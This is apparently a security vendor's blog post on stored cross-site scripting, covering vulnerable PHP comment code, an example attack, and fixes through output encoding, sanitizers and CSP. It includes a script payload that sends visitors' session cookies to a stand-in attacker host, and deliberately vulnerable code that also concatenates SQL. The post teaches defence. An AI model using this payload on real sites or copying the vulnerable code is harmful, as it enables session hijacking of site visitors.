Cross-Site ScriptingStored

Stored XSS: One Injection, Every Visitor

Stored XSS writes attacker-controlled script into your database and replays it to everyone who views the content. Here is why it outranks reflected XSS, and how output encoding plus HTML sanitization shuts it down.

SelfSec Team3 min read
Part 6 of 6from theCross-Site Scriptingseries
<script>alert(document.cookie)</script>
On this page

Stored cross-site scripting is the variant that scales. Instead of being echoed back in a single response, the payload is persisted server-side — in a comment, a profile bio, a support ticket, a display name — and then served to every user who views that content. There is no link to click and no need to lure each victim individually; the application delivers the attack for the attacker.

This post focuses on how stored XSS persists, why its blast radius dwarfs reflected XSS, and how to neutralise it on the way out.

How it happens

Stored XSS needs two unsafe steps that are usually written by different developers, months apart. First, input is saved without validation. Later, it is rendered without encoding. Take a comment feature:

$body = $_POST['comment'];
$db->query("INSERT INTO comments (body) VALUES ('" . $body . "')");

The comment is stored verbatim. The vulnerability only completes when another page reads it back and writes it into HTML:

foreach ($comments as $c) {
    echo "<div class='comment'>" . $c['body'] . "</div>";
}

Neither line encodes anything. The stored string is trusted as if the application had written it.

A concrete attack

An attacker submits a comment whose body is not text but markup:

<script>fetch('https://attacker.example/c?'+document.cookie)</script>

It lands in the database as-is. From then on, every render of that comment thread produces:

<div class='comment'><script>fetch('https://attacker.example/c?'+document.cookie)</script></div>

The browser sees a real <script> tag and runs it — once per visitor, automatically, with no interaction. The attacker stored the payload a single time and now harvests the session cookie of everyone who loads the page.

Reflected XSS needs the attacker to deliver a link to each victim. Stored XSS needs the victims to do nothing at all — the server hands the payload to every one of them.

Why it is worse than reflected

The persistence changes the economics of the attack entirely:

  • Zero delivery cost. No phishing link, no per-victim crafting. Anyone who views the content is hit.
  • It reaches privileged eyes. A payload in a support ticket or a flagged-content queue runs in the administrator's session when they review it — straight to the most powerful account on the site.
  • It can self-propagate. If a logged-in victim's browser is made to post the same payload again, the injection spreads from profile to profile. This is the classic XSS worm, the mechanism behind the Samy worm that hit a million MySpace accounts in under a day.

One stored sink can therefore escalate from a single comment box to full compromise of the user base and the admins who oversee it.

The fix: encode on output, sanitize rich text

The primary rule is the same as every XSS variant — context-aware output encoding. Encode the stored value for the exact context where it renders, so the browser reads it as text:

foreach ($comments as $c) {
    echo "<div class='comment'>"
       . htmlspecialchars($c['body'], ENT_QUOTES, 'UTF-8')
       . "</div>";
}

Now the payload renders as inert characters — &lt;script&gt;...&lt;/script&gt; — and never executes. Then layer the defences that matter for persisted content:

  • When the field is plain text, always encode on output; never store "pre-rendered" HTML you intend to trust later.
  • When the field is genuinely rich text (a WYSIWYG bio, a formatted ticket), do not hand-roll a blocklist. Run it through a vetted allowlist sanitizer such as DOMPurify or the OWASP Java HTML Sanitizer, which strips <script>, event handlers and javascript: URLs while keeping safe formatting.
  • Set a strict Content-Security-Policy that blocks inline scripts, so a single missed sink is far harder to weaponise across every page that renders the content.

How SelfSec finds it

SelfSec's crawler renders modern, JavaScript-heavy applications with a real browser engine, submits content to forms and fields, then revisits the pages that render it to confirm the payload fires in a second context — exactly how stored XSS behaves. Because it verifies execution rather than guessing from a string match, every finding ships with a reproduction request you can replay. As always, the scan runs entirely on your machine and your scan data stays local.

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about Cross-Site Scripting

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The Cross-Site Scripting series

  1. 01OverviewCross-Site Scripting, Explained: Reflected, Stored and DOM-Based XSS3 min
  2. 02BlindBlind XSS: When Your Payload Fires in an Admin Panel You Never See5 min
  3. 03DOM-BasedDOM-Based XSS: When the Vulnerability Never Touches the Server4 min
  4. 04Mutation (mXSS)Mutation XSS (mXSS): How the Browser's Parser Rewrites Your Sanitized HTML6 min
  5. 05ReflectedReflected XSS: How a URL Can Run Code in Someone Else's Browser3 min
  6. 06StoredStored XSS: One Injection, Every VisitorReading

Related reading